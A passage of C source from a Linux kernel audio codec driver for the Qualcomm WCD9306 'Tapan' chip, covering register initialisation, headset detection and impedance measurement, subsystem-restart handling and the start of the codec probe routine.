{TAPAN_A_CDC_TX1_MUX_CTL, 0x8, 0x0},
{TAPAN_A_CDC_TX2_MUX_CTL, 0x8, 0x0},
{TAPAN_A_CDC_TX3_MUX_CTL, 0x8, 0x0},
{TAPAN_A_CDC_TX4_MUX_CTL, 0x8, 0x0},
/* Compander zone selection */
{TAPAN_A_CDC_COMP0_B4_CTL, 0x3F, 0x37},
{TAPAN_A_CDC_COMP1_B4_CTL, 0x3F, 0x37},
{TAPAN_A_CDC_COMP2_B4_CTL, 0x3F, 0x37},
{TAPAN_A_CDC_COMP0_B5_CTL, 0x7F, 0x7F},
{TAPAN_A_CDC_COMP1_B5_CTL, 0x7F, 0x7F},
{TAPAN_A_CDC_COMP2_B5_CTL, 0x7F, 0x7F},
/*
* Setup wavegen timer to 20msec and disable chopper
* as default. This corresponds to Compander OFF
*/
{TAPAN_A_RX_HPH_CNP_WG_CTL, 0xFF, 0xDB},
{TAPAN_A_RX_HPH_CNP_WG_TIME, 0xFF, 0x58},
{TAPAN_A_RX_HPH_BIAS_WG_OCP, 0xFF, 0x1A},
{TAPAN_A_RX_HPH_CHOP_CTL, 0xFF, 0x24},
};
void *tapan_get_afe_config(struct snd_soc_codec *codec,
enum afe_config_type config_type)
{
struct tapan_priv *priv = snd_soc_codec_get_drvdata(codec);
switch (config_type) {
case AFE_SLIMBUS_SLAVE_CONFIG:
return &priv->slimbus_slave_cfg;
case AFE_CDC_REGISTERS_CONFIG:
return &tapan_audio_reg_cfg;
case AFE_AANC_VERSION:
return &tapan_cdc_aanc_version;
default:
pr_err("%s: Unknown config_type 0x%x\n", __func__, config_type);
return NULL;
}
}
static void tapan_init_slim_slave_cfg(struct snd_soc_codec *codec)
{
struct tapan_priv *priv = snd_soc_codec_get_drvdata(codec);
struct afe_param_cdc_slimbus_slave_cfg *cfg;
struct wcd9xxx *wcd9xxx = codec->control_data;
uint64_t eaddr = 0;
pr_debug("%s\n", __func__);
cfg = &priv->slimbus_slave_cfg;
cfg->minor_version = 1;
cfg->tx_slave_port_offset = 0;
cfg->rx_slave_port_offset = 16;
memcpy(&eaddr, &wcd9xxx->slim->e_addr, sizeof(wcd9xxx->slim->e_addr));
/* e-addr is 6-byte elemental address of the device */
WARN_ON(sizeof(wcd9xxx->slim->e_addr) != 6);
cfg->device_enum_addr_lsw = eaddr & 0xFFFFFFFF;
cfg->device_enum_addr_msw = eaddr >> 32;
pr_debug("%s: slimbus logical address 0x%llx\n", __func__, eaddr);
}
static void tapan_codec_init_reg(struct snd_soc_codec *codec)
{
u32 i;
for (i = 0; i < ARRAY_SIZE(tapan_codec_reg_init_val); i++)
snd_soc_update_bits(codec, tapan_codec_reg_init_val[i].reg,
tapan_codec_reg_init_val[i].mask,
tapan_codec_reg_init_val[i].val);
}
static void tapan_slim_interface_init_reg(struct snd_soc_codec *codec)
{
int i;
for (i = 0; i < WCD9XXX_SLIM_NUM_PORT_REG; i++)
wcd9xxx_interface_reg_write(codec->control_data,
TAPAN_SLIM_PGD_PORT_INT_EN0 + i,
0xFF);
}
static int tapan_setup_irqs(struct tapan_priv *tapan)
{
int ret = 0;
struct snd_soc_codec *codec = tapan->codec;
struct wcd9xxx *wcd9xxx = codec->control_data;
struct wcd9xxx_core_resource *core_res = &wcd9xxx->core_res;
ret = wcd9xxx_request_irq(core_res, WCD9XXX_IRQ_SLIMBUS,
tapan_slimbus_irq, "SLIMBUS Slave", tapan);
if (ret)
pr_err("%s: Failed to request irq %d\n", __func__,
WCD9XXX_IRQ_SLIMBUS);
else
tapan_slim_interface_init_reg(codec);
return ret;
}
static void tapan_cleanup_irqs(struct tapan_priv *tapan)
{
struct snd_soc_codec *codec = tapan->codec;
struct wcd9xxx *wcd9xxx = codec->control_data;
struct wcd9xxx_core_resource *core_res = &wcd9xxx->core_res;
wcd9xxx_free_irq(core_res, WCD9XXX_IRQ_SLIMBUS, tapan);
}
static void tapan_enable_mux_bias_block(struct snd_soc_codec *codec)
{
snd_soc_update_bits(codec, WCD9XXX_A_MBHC_SCALING_MUX_1,
0x80, 0x00);
}
static void tapan_put_cfilt_fast_mode(struct snd_soc_codec *codec,
struct wcd9xxx_mbhc *mbhc)
{
snd_soc_update_bits(codec, mbhc->mbhc_bias_regs.cfilt_ctl,
0x30, 0x30);
}
static void tapan_codec_specific_cal_setup(struct snd_soc_codec *codec,
struct wcd9xxx_mbhc *mbhc)
{
snd_soc_update_bits(codec, WCD9XXX_A_CDC_MBHC_B1_CTL,
0x04, 0x04);
snd_soc_update_bits(codec, WCD9XXX_A_TX_7_MBHC_EN, 0xE0, 0xE0);
}
static struct wcd9xxx_cfilt_mode tapan_codec_switch_cfilt_mode(
struct wcd9xxx_mbhc *mbhc,
bool fast)
{
struct snd_soc_codec *codec = mbhc->codec;
struct wcd9xxx_cfilt_mode cfilt_mode;
if (fast)
cfilt_mode.reg_mode_val = WCD9XXX_CFILT_EXT_PRCHG_EN;
else
cfilt_mode.reg_mode_val = WCD9XXX_CFILT_EXT_PRCHG_DSBL;
cfilt_mode.cur_mode_val =
snd_soc_read(codec, mbhc->mbhc_bias_regs.cfilt_ctl) & 0x30;
cfilt_mode.reg_mask = 0x30;
return cfilt_mode;
}
static void tapan_select_cfilt(struct snd_soc_codec *codec,
struct wcd9xxx_mbhc *mbhc)
{
snd_soc_update_bits(codec, mbhc->mbhc_bias_regs.ctl_reg, 0x60, 0x00);
}
enum wcd9xxx_cdc_type tapan_get_cdc_type(void)
{
return WCD9XXX_CDC_TYPE_TAPAN;
}
static void wcd9xxx_prepare_hph_pa(struct wcd9xxx_mbhc *mbhc,
struct list_head *lh)
{
int i;
struct snd_soc_codec *codec = mbhc->codec;
u32 delay;
const struct wcd9xxx_reg_mask_val reg_set_paon[] = {
{WCD9XXX_A_CDC_CLSH_B1_CTL, 0x0F, 0x00},
{WCD9XXX_A_RX_HPH_CHOP_CTL, 0xFF, 0xA4},
{WCD9XXX_A_RX_HPH_OCP_CTL, 0xFF, 0x67},
{WCD9XXX_A_RX_HPH_L_TEST, 0x1, 0x0},
{WCD9XXX_A_RX_HPH_R_TEST, 0x1, 0x0},
{WCD9XXX_A_RX_HPH_BIAS_WG_OCP, 0xFF, 0x1A},
{WCD9XXX_A_RX_HPH_CNP_WG_CTL, 0xFF, 0xDB},
{WCD9XXX_A_RX_HPH_CNP_WG_TIME, 0xFF, 0x2A},
{TAPAN_A_CDC_CONN_RX2_B2_CTL, 0xFF, 0x10},
{WCD9XXX_A_CDC_CLK_OTHR_CTL, 0xFF, 0x05},
{WCD9XXX_A_CDC_RX1_B6_CTL, 0xFF, 0x81},
{WCD9XXX_A_CDC_CLK_RX_B1_CTL, 0x03, 0x03},
{WCD9XXX_A_RX_HPH_L_GAIN, 0xFF, 0x2C},
{WCD9XXX_A_CDC_RX2_B6_CTL, 0xFF, 0x81},
{WCD9XXX_A_RX_HPH_R_GAIN, 0xFF, 0x2C},
{WCD9XXX_A_BUCK_CTRL_CCL_4, 0xFF, 0x50},
{WCD9XXX_A_BUCK_CTRL_VCL_1, 0xFF, 0x08},
{WCD9XXX_A_BUCK_CTRL_CCL_1, 0xFF, 0x5B},
{WCD9XXX_A_NCP_CLK, 0xFF, 0x9C},
{WCD9XXX_A_NCP_CLK, 0xFF, 0xFC},
{WCD9XXX_A_BUCK_MODE_3, 0xFF, 0xCE},
{WCD9XXX_A_BUCK_CTRL_CCL_3, 0xFF, 0x6B},
{WCD9XXX_A_BUCK_CTRL_CCL_3, 0xFF, 0x6F},
{TAPAN_A_RX_BUCK_BIAS1, 0xFF, 0x62},
{TAPAN_A_RX_HPH_BIAS_PA, 0xFF, 0x7A},
{TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL, 0xFF, 0x02},
{TAPAN_A_CDC_CLK_RDAC_CLK_EN_CTL, 0xFF, 0x06},
{WCD9XXX_A_RX_COM_BIAS, 0xFF, 0x80},
{WCD9XXX_A_BUCK_MODE_3, 0xFF, 0xC6},
{WCD9XXX_A_BUCK_MODE_4, 0xFF, 0xE6},
{WCD9XXX_A_BUCK_MODE_5, 0xFF, 0x02},
{WCD9XXX_A_BUCK_MODE_1, 0xFF, 0xA1},
/* Delay 1ms */
{WCD9XXX_A_NCP_EN, 0xFF, 0xFF},
/* Delay 1ms */
{WCD9XXX_A_BUCK_MODE_5, 0xFF, 0x03},
{WCD9XXX_A_BUCK_MODE_5, 0xFF, 0x7B},
{WCD9XXX_A_CDC_CLSH_B1_CTL, 0xFF, 0xE6},
{WCD9XXX_A_RX_HPH_L_DAC_CTL, 0xFF, 0x40},
{WCD9XXX_A_RX_HPH_L_DAC_CTL, 0xFF, 0xC0},
{WCD9XXX_A_RX_HPH_R_DAC_CTL, 0xFF, 0x40},
{WCD9XXX_A_RX_HPH_R_DAC_CTL, 0xFF, 0xC0},
{WCD9XXX_A_NCP_STATIC, 0xFF, 0x08},
{WCD9XXX_A_RX_HPH_L_DAC_CTL, 0x03, 0x01},
{WCD9XXX_A_RX_HPH_R_DAC_CTL, 0x03, 0x01},
};
/*
* Configure PA in class-AB, -18dB gain,
* companding off, OCP off, Chopping ON
*/
for (i = 0; i < ARRAY_SIZE(reg_set_paon); i++) {
/*
* Some of the codec registers like BUCK_MODE_1
* and NCP_EN requires 1ms wait time for them
* to take effect. Other register writes for
* PA configuration do not require any wait time.
*/
if (reg_set_paon[i].reg == WCD9XXX_A_BUCK_MODE_1 ||
reg_set_paon[i].reg == WCD9XXX_A_NCP_EN)
delay = 1000;
else
delay = 0;
wcd9xxx_soc_update_bits_push(codec, lh,
reg_set_paon[i].reg,
reg_set_paon[i].mask,
reg_set_paon[i].val, delay);
}
pr_debug("%s: PAs are prepared\n", __func__);
return;
}
static int wcd9xxx_enable_static_pa(struct wcd9xxx_mbhc *mbhc, bool enable)
{
struct snd_soc_codec *codec = mbhc->codec;
int wg_time = snd_soc_read(codec, WCD9XXX_A_RX_HPH_CNP_WG_TIME) *
TAPAN_WG_TIME_FACTOR_US;
/*
* Tapan requires additional time to enable PA.
* It is observed during experiments that we need
* an additional wait time about 0.35 times of
* the WG_TIME
*/
wg_time += (int) (wg_time * 35) / 100;
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_CNP_EN, 0x30,
enable ? 0x30 : 0x0);
/* Wait for wave gen time to avoid pop noise */
usleep_range(wg_time, wg_time + WCD9XXX_USLEEP_RANGE_MARGIN_US);
pr_debug("%s: PAs are %s as static mode (wg_time %d)\n", __func__,
enable ? "enabled" : "disabled", wg_time);
return 0;
}
static int tapan_setup_zdet(struct wcd9xxx_mbhc *mbhc,
enum mbhc_impedance_detect_stages stage)
{
int ret = 0;
struct snd_soc_codec *codec = mbhc->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
const int mux_wait_us = 25;
switch (stage) {
case MBHC_ZDET_PRE_MEASURE:
INIT_LIST_HEAD(&tapan->reg_save_restore);
/* Configure PA */
wcd9xxx_prepare_hph_pa(mbhc, &tapan->reg_save_restore);
#define __wr(reg, mask, value) \
do { \
ret = wcd9xxx_soc_update_bits_push(codec, \
&tapan->reg_save_restore, \
reg, mask, value, 0); \
if (ret < 0) \
return ret; \
} while (0)
/* Setup MBHC */
__wr(WCD9XXX_A_MBHC_SCALING_MUX_1, 0x7F, 0x40);
__wr(WCD9XXX_A_MBHC_SCALING_MUX_2, 0xFF, 0xF0);
__wr(WCD9XXX_A_TX_7_MBHC_TEST_CTL, 0xFF, 0x78);
__wr(WCD9XXX_A_TX_7_MBHC_EN, 0xFF, 0xEC);
__wr(WCD9XXX_A_CDC_MBHC_TIMER_B4_CTL, 0xFF, 0x45);
__wr(WCD9XXX_A_CDC_MBHC_TIMER_B5_CTL, 0xFF, 0x80);
__wr(WCD9XXX_A_CDC_MBHC_CLK_CTL, 0xFF, 0x0A);
snd_soc_write(codec, WCD9XXX_A_CDC_MBHC_EN_CTL, 0x2);
__wr(WCD9XXX_A_CDC_MBHC_CLK_CTL, 0xFF, 0x02);
/* Enable Impedance Detection */
__wr(WCD9XXX_A_MBHC_HPH, 0xFF, 0xC8);
/*
* CnP setup for 0mV
* Route static data as input to noise shaper
*/
__wr(TAPAN_A_CDC_RX1_B3_CTL, 0xFF, 0x02);
__wr(TAPAN_A_CDC_RX2_B3_CTL, 0xFF, 0x02);
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_L_TEST,
0x02, 0x00);
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_R_TEST,
0x02, 0x00);
/* Reset the HPHL static data pointer */
__wr(TAPAN_A_CDC_RX1_B2_CTL, 0xFF, 0x00);
/* Four consecutive writes to set 0V as static data input */
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x00);
/* Reset the HPHR static data pointer */
__wr(TAPAN_A_CDC_RX2_B2_CTL, 0xFF, 0x00);
/* Four consecutive writes to set 0V as static data input */
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x00);
/* Enable the HPHL and HPHR PA */
wcd9xxx_enable_static_pa(mbhc, true);
break;
case MBHC_ZDET_POST_MEASURE:
/* Turn off ICAL */
snd_soc_write(codec, WCD9XXX_A_MBHC_SCALING_MUX_2, 0xF0);
wcd9xxx_enable_static_pa(mbhc, false);
/*
* Setup CnP wavegen to ramp to the desired
* output using a 40ms ramp
*/
/* CnP wavegen current to 0.5uA */
snd_soc_write(codec, WCD9XXX_A_RX_HPH_BIAS_WG_OCP, 0x1A);
/* Set the current division ratio to 2000 */
snd_soc_write(codec, WCD9XXX_A_RX_HPH_CNP_WG_CTL, 0xDF);
/* Set the wavegen timer to max (60msec) */
snd_soc_write(codec, WCD9XXX_A_RX_HPH_CNP_WG_TIME, 0xA0);
/* Set the CnP reference current to sc_bias */
snd_soc_write(codec, WCD9XXX_A_RX_HPH_OCP_CTL, 0x6D);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B2_CTL, 0x00);
/* Four consecutive writes to set -10mV as static data input */
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x1F);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x19);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0xAA);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B2_CTL, 0x00);
/* Four consecutive writes to set -10mV as static data input */
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x1F);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x19);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0xAA);
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_L_TEST,
0x02, 0x02);
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_R_TEST,
0x02, 0x02);
/* Enable the HPHL and HPHR PA and wait for 60mS */
wcd9xxx_enable_static_pa(mbhc, true);
snd_soc_update_bits(codec, WCD9XXX_A_MBHC_SCALING_MUX_1,
0x7F, 0x40);
usleep_range(mux_wait_us,
mux_wait_us + WCD9XXX_USLEEP_RANGE_MARGIN_US);
break;
case MBHC_ZDET_PA_DISABLE:
if (!mbhc->hph_pa_dac_state)
wcd9xxx_enable_static_pa(mbhc, false);
wcd9xxx_restore_registers(codec, &tapan->reg_save_restore);
break;
default:
dev_dbg(codec->dev, "%s: Case %d not supported\n",
__func__, stage);
break;
}
#undef __wr
return ret;
}
static void tapan_compute_impedance(struct wcd9xxx_mbhc *mbhc, s16 *l, s16 *r,
uint32_t *zl, uint32_t *zr)
{
int zln, zld;
int zrn, zrd;
int rl = 0, rr = 0;
if (!mbhc) {
pr_err("%s: NULL pointer for MBHC", __func__);
return;
}
zln = (l[1] - l[0]) * TAPAN_ZDET_MUL_FACTOR;
zld = (l[2] - l[0]);
if (zld)
rl = zln / zld;
zrn = (r[1] - r[0]) * TAPAN_ZDET_MUL_FACTOR;
zrd = (r[2] - r[0]);
if (zrd)
rr = zrn / zrd;
*zl = rl;
*zr = rr;
}
static const struct wcd9xxx_mbhc_cb mbhc_cb = {
.enable_mux_bias_block = tapan_enable_mux_bias_block,
.cfilt_fast_mode = tapan_put_cfilt_fast_mode,
.codec_specific_cal = tapan_codec_specific_cal_setup,
.switch_cfilt_mode = tapan_codec_switch_cfilt_mode,
.select_cfilt = tapan_select_cfilt,
.get_cdc_type = tapan_get_cdc_type,
.setup_zdet = tapan_setup_zdet,
.compute_impedance = tapan_compute_impedance,
};
int tapan_hs_detect(struct snd_soc_codec *codec,
struct wcd9xxx_mbhc_config *mbhc_cfg)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
return wcd9xxx_mbhc_start(&tapan->mbhc, mbhc_cfg);
}
EXPORT_SYMBOL(tapan_hs_detect);
void tapan_hs_detect_exit(struct snd_soc_codec *codec)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
wcd9xxx_mbhc_stop(&tapan->mbhc);
}
EXPORT_SYMBOL(tapan_hs_detect_exit);
void tapan_event_register(
int (*machine_event_cb)(struct snd_soc_codec *codec,
enum wcd9xxx_codec_event),
struct snd_soc_codec *codec)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
tapan->machine_codec_event_cb = machine_event_cb;
}
EXPORT_SYMBOL(tapan_event_register);
static int tapan_device_down(struct wcd9xxx *wcd9xxx)
{
struct snd_soc_codec *codec;
codec = (struct snd_soc_codec *)(wcd9xxx->ssr_priv);
snd_soc_card_change_online_state(codec->card, 0);
return 0;
}
static const struct wcd9xxx_mbhc_intr cdc_intr_ids = {
.poll_plug_rem = WCD9XXX_IRQ_MBHC_REMOVAL,
.shortavg_complete = WCD9XXX_IRQ_MBHC_SHORT_TERM,
.potential_button_press = WCD9XXX_IRQ_MBHC_PRESS,
.button_release = WCD9XXX_IRQ_MBHC_RELEASE,
.dce_est_complete = WCD9XXX_IRQ_MBHC_POTENTIAL,
.insertion = WCD9XXX_IRQ_MBHC_INSERTION,
.hph_left_ocp = WCD9306_IRQ_HPH_PA_OCPL_FAULT,
.hph_right_ocp = WCD9306_IRQ_HPH_PA_OCPR_FAULT,
.hs_jack_switch = WCD9306_IRQ_MBHC_JACK_SWITCH,
};
static int tapan_post_reset_cb(struct wcd9xxx *wcd9xxx)
{
int ret = 0;
int rco_clk_rate;
struct snd_soc_codec *codec;
struct tapan_priv *tapan;
int count;
codec = (struct snd_soc_codec *)(wcd9xxx->ssr_priv);
tapan = snd_soc_codec_get_drvdata(codec);
snd_soc_card_change_online_state(codec->card, 1);
mutex_lock(&codec->mutex);
if (codec->reg_def_copy) {
pr_debug("%s: Update ASOC cache", __func__);
kfree(codec->reg_cache);
codec->reg_cache = kmemdup(codec->reg_def_copy,
codec->reg_size, GFP_KERNEL);
if (!codec->reg_cache) {
pr_err("%s: Cache update failed!\n", __func__);
mutex_unlock(&codec->mutex);
return -ENOMEM;
}
}
if (spkr_drv_wrnd == 1)
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80, 0x80);
tapan_update_reg_defaults(codec);
tapan_update_reg_mclk_rate(wcd9xxx);
tapan_codec_init_reg(codec);
ret = tapan_handle_pdata(tapan);
if (IS_ERR_VALUE(ret))
pr_err("%s: bad pdata\n", __func__);
tapan_slim_interface_init_reg(codec);
wcd9xxx_resmgr_post_ssr(&tapan->resmgr);
wcd9xxx_mbhc_deinit(&tapan->mbhc);
if (TAPAN_IS_1_0(wcd9xxx->version))
rco_clk_rate = TAPAN_MCLK_CLK_12P288MHZ;
else
rco_clk_rate = TAPAN_MCLK_CLK_9P6MHZ;
ret = wcd9xxx_mbhc_init(&tapan->mbhc, &tapan->resmgr, codec,
tapan_enable_mbhc_micbias,
&mbhc_cb, &cdc_intr_ids, rco_clk_rate,
TAPAN_CDC_ZDET_SUPPORTED);
if (ret)
pr_err("%s: mbhc init failed %d\n", __func__, ret);
else
wcd9xxx_mbhc_start(&tapan->mbhc, tapan->mbhc.mbhc_cfg);
tapan_cleanup_irqs(tapan);
ret = tapan_setup_irqs(tapan);
if (ret)
pr_err("%s: Failed to setup irq: %d\n", __func__, ret);
tapan->machine_codec_event_cb(codec, WCD9XXX_CODEC_EVENT_CODEC_UP);
for (count = 0; count < NUM_CODEC_DAIS; count++)
tapan->dai[count].bus_down_in_recovery = true;
mutex_unlock(&codec->mutex);
return ret;
}
static struct wcd9xxx_reg_address tapan_reg_address = {
};
static int wcd9xxx_ssr_register(struct wcd9xxx *control,
int (*device_down_cb)(struct wcd9xxx *wcd9xxx),
int (*device_up_cb)(struct wcd9xxx *wcd9xxx),
void *priv)
{
control->dev_down = device_down_cb;
control->post_reset = device_up_cb;
control->ssr_priv = priv;
return 0;
}
static struct regulator *tapan_codec_find_regulator(
struct snd_soc_codec *codec,
const char *name)
{
int i;
struct wcd9xxx *core = NULL;
if (codec == NULL) {
dev_err(codec->dev, "%s: codec not initialized\n", __func__);
return NULL;
}
core = dev_get_drvdata(codec->dev->parent);
if (core == NULL) {
dev_err(codec->dev, "%s: core not initialized\n", __func__);
return NULL;
}
for (i = 0; i < core->num_of_supplies; i++) {
if (core->supplies[i].supply &&
!strcmp(core->supplies[i].supply, name))
return core->supplies[i].consumer;
}
return NULL;
}
static void tapan_enable_config_rco(struct wcd9xxx *core, bool enable)
{
struct wcd9xxx_core_resource *core_res = &core->core_res;
if (enable) {
wcd9xxx_reg_update(core, WCD9XXX_A_BIAS_CENTRAL_BG_CTL,
0x80, 0x80);
wcd9xxx_reg_update(core, WCD9XXX_A_BIAS_CENTRAL_BG_CTL,
0x04, 0x04);
wcd9xxx_reg_update(core, WCD9XXX_A_BIAS_CENTRAL_BG_CTL,
0x01, 0x01);
usleep_range(1000, 1000);
wcd9xxx_reg_update(core, WCD9XXX_A_BIAS_CENTRAL_BG_CTL,
0x80, 0x00);
/* Enable RC Oscillator */
wcd9xxx_reg_update(core, WCD9XXX_A_RC_OSC_FREQ, 0x10, 0x00);
wcd9xxx_reg_write(core_res, WCD9XXX_A_BIAS_OSC_BG_CTL, 0x17);
usleep_range(5, 5);
wcd9xxx_reg_update(core, WCD9XXX_A_RC_OSC_FREQ, 0x80, 0x80);
wcd9xxx_reg_update(core, WCD9XXX_A_RC_OSC_TEST, 0x80, 0x80);
usleep_range(10, 10);
wcd9xxx_reg_update(core, WCD9XXX_A_RC_OSC_TEST, 0x80, 0x00);
usleep_range(20, 20);
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN1, 0x08, 0x08);
/* Enable MCLK and wait 1ms till it gets enabled */
wcd9xxx_reg_write(core_res, WCD9XXX_A_CLK_BUFF_EN2, 0x02);
usleep_range(1000, 1000);
/* Enable CLK BUFF and wait for 1.2ms */
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN1, 0x01, 0x01);
usleep_range(1000, 1200);
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN2, 0x02, 0x00);
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN2, 0x04, 0x04);
wcd9xxx_reg_update(core, WCD9XXX_A_CDC_CLK_MCLK_CTL,
0x01, 0x01);
usleep_range(50, 50);
} else {
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN2, 0x04, 0x00);
usleep_range(50, 50);
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN2, 0x02, 0x02);
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN1, 0x05, 0x00);
usleep_range(50, 50);
wcd9xxx_reg_update(core, WCD9XXX_A_RC_OSC_FREQ, 0x80, 0x00);
usleep_range(10, 10);
wcd9xxx_reg_write(core_res, WCD9XXX_A_BIAS_OSC_BG_CTL, 0x16);
wcd9xxx_reg_update(core, WCD9XXX_A_BIAS_CENTRAL_BG_CTL,
0x03, 0x00);
usleep_range(100, 100);
}
}
static bool tapan_check_wcd9306(struct device *cdc_dev, bool sensed)
{
struct wcd9xxx *core = dev_get_drvdata(cdc_dev->parent);
u8 reg_val;
bool ret = true;
unsigned long timeout;
bool timedout;
struct wcd9xxx_core_resource *core_res = &core->core_res;
if (!core) {
dev_err(cdc_dev, "%s: core not initialized\n", __func__);
return -EINVAL;
}
tapan_enable_config_rco(core, 1);
if (sensed == false) {
reg_val = wcd9xxx_reg_read(core_res, TAPAN_A_QFUSE_CTL);
wcd9xxx_reg_write(core_res, TAPAN_A_QFUSE_CTL,
(reg_val | 0x03));
}
timeout = jiffies + HZ;
do {
if ((wcd9xxx_reg_read(core_res, TAPAN_A_QFUSE_STATUS)))
break;
} while (!(timedout = time_after(jiffies, timeout)));
if (wcd9xxx_reg_read(core_res, TAPAN_A_QFUSE_DATA_OUT1) ||
wcd9xxx_reg_read(core_res, TAPAN_A_QFUSE_DATA_OUT2)) {
dev_info(cdc_dev, "%s: wcd9302 detected\n", __func__);
ret = false;
} else
dev_info(cdc_dev, "%s: wcd9306 detected\n", __func__);
tapan_enable_config_rco(core, 0);
return ret;
};
static int tapan_codec_probe(struct snd_soc_codec *codec)
{
struct wcd9xxx *control;
struct tapan_priv *tapan;
struct wcd9xxx_pdata *pdata;
struct wcd9xxx *wcd9xxx;
struct snd_soc_dapm_context *dapm = &codec->dapm;
int ret = 0;
int i, rco_clk_rate;
void *ptr = NULL;
struct wcd9xxx_core_resource *core_res;
codec->control_data = dev_get_drvdata(codec->dev->parent);
control = codec->control_data;
wcd9xxx_ssr_register(control, tapan_device_down,
tapan_post_reset_cb, (void *)codec);
dev_info(codec->dev, "%s()\n", __func__);
tapan = kzalloc(sizeof(struct tapan_priv), GFP_KERNEL);
if (!tapan) {
dev_err(codec->dev, "Failed to allocate private data\n");
return -ENOMEM;
}
for (i = 0 ; i < NUM_DECIMATORS; i++) {
tx_hpf_work[i].tapan = tapan;
tx_hpf_work[i].decimator = i + 1;
INIT_DELAYED_WORK(&tx_hpf_work[i].dwork,
tx_hpf_corner_freq_callback);
}
snd_soc_codec_set_drvdata(codec, tapan);
/* codec resmgr module init */
wcd9xxx = codec->control_data;
core_res = &wcd9xxx->core_res;
pdata = dev_get_platdata(codec->dev->parent);
ret = wcd9xxx_resmgr_init(&tapan->resmgr, codec, core_res, pdata,
&pdata->micbias, &tapan_reg_address,
WCD9XXX_CDC_TYPE_TAPAN);
if (ret) {
pr_err("%s: wcd9xxx init failed %d\n", __func__, ret);
return ret;
}
tapan->cp_regulators[CP_REG_BUCK] = tapan_codec_find_regulator(codec,
WCD9XXX_SUPPLY_BUCK_NAME);
tapan->cp_regulators[CP_REG_BHELPER] = tapan_codec_find_regulator(codec,
"cdc-vdd-buckhelper");
tapan->clsh_d.buck_mv = tapan_codec_get_buck_mv(codec);
/*
* If 1.8 volts is requested on the vdd_cp line, then
* assume that S4 is in a dynamically switchable state
* and can switch between 1.8 volts and 2.15 volts
*/
if (tapan->clsh_d.buck_mv == WCD9XXX_CDC_BUCK_MV_1P8)
tapan->clsh_d.is_dynamic_vdd_cp = true;
wcd9xxx_clsh_init(&tapan->clsh_d, &tapan->resmgr);
if (TAPAN_IS_1_0(control->version))
rco_clk_rate = TAPAN_MCLK_CLK_12P288MHZ;
else
rco_clk_rate = TAPAN_MCLK_CLK_9P6MHZ;
ret = wcd9xxx_mbhc_init(&tapan->mbhc, &tapan->resmgr, codec,
tapan_enable_mbhc_micbias,
&mbhc_cb, &cdc_intr_ids, rco_clk_rate,
TAPAN_CDC_ZDET_SUPPORTED);
if (ret) {
pr_err("%s: mbhc init failed %d\n", __func__, ret);
return ret;
}
tapan->codec = codec;
for (i = 0; i < COMPANDER_MAX; i++) {
tapan->comp_enabled[i] = 0;
tapan->comp_fs[i] = COMPANDER_FS_48KHZ;
}
tapan->intf_type = wcd9xxx_get_intf_type();
tapan->aux_pga_cnt = 0;
tapan->aux_l_gain = 0x1F;
tapan->aux_r_gain = 0x1F;
tapan->ldo_h_users = 0;
tapan->micb_2_users = 0;
tapan->lb_mode = false;
tapan_update_reg_defaults(codec);
tapan_update_reg_mclk_rate(wcd9xxx);
tapan_codec_init_reg(codec);
ret = tapan_handle_pdata(tapan);
if (IS_ERR_VALUE(ret)) {
dev_err(codec->dev, "%s: bad pdata\n", __func__);
goto err_pdata;
}
if (spkr_drv_wrnd > 0) {
WCD9XXX_BG_CLK_LOCK(&tapan->resmgr);
wcd9xxx_resmgr_get_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&tapan->resmgr);
}
ptr = kmalloc((sizeof(tapan_rx_chs) +
sizeof(tapan_tx_chs)), GFP_KERNEL);
if (!ptr) {
pr_err("%s: no mem for slim chan ctl data\n", __func__);
ret = -ENOMEM;
goto err_nomem_slimch;
}
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
snd_soc_dapm_new_controls(dapm, tapan_dapm_i2s_widgets,
ARRAY_SIZE(tapan_dapm_i2s_widgets));
snd_soc_dapm_add_routes(dapm, audio_i2s_map,
ARRAY_SIZE(audio_i2s_map));
for (i = 0; i < ARRAY_SIZE(tapan_i2s_dai); i++)
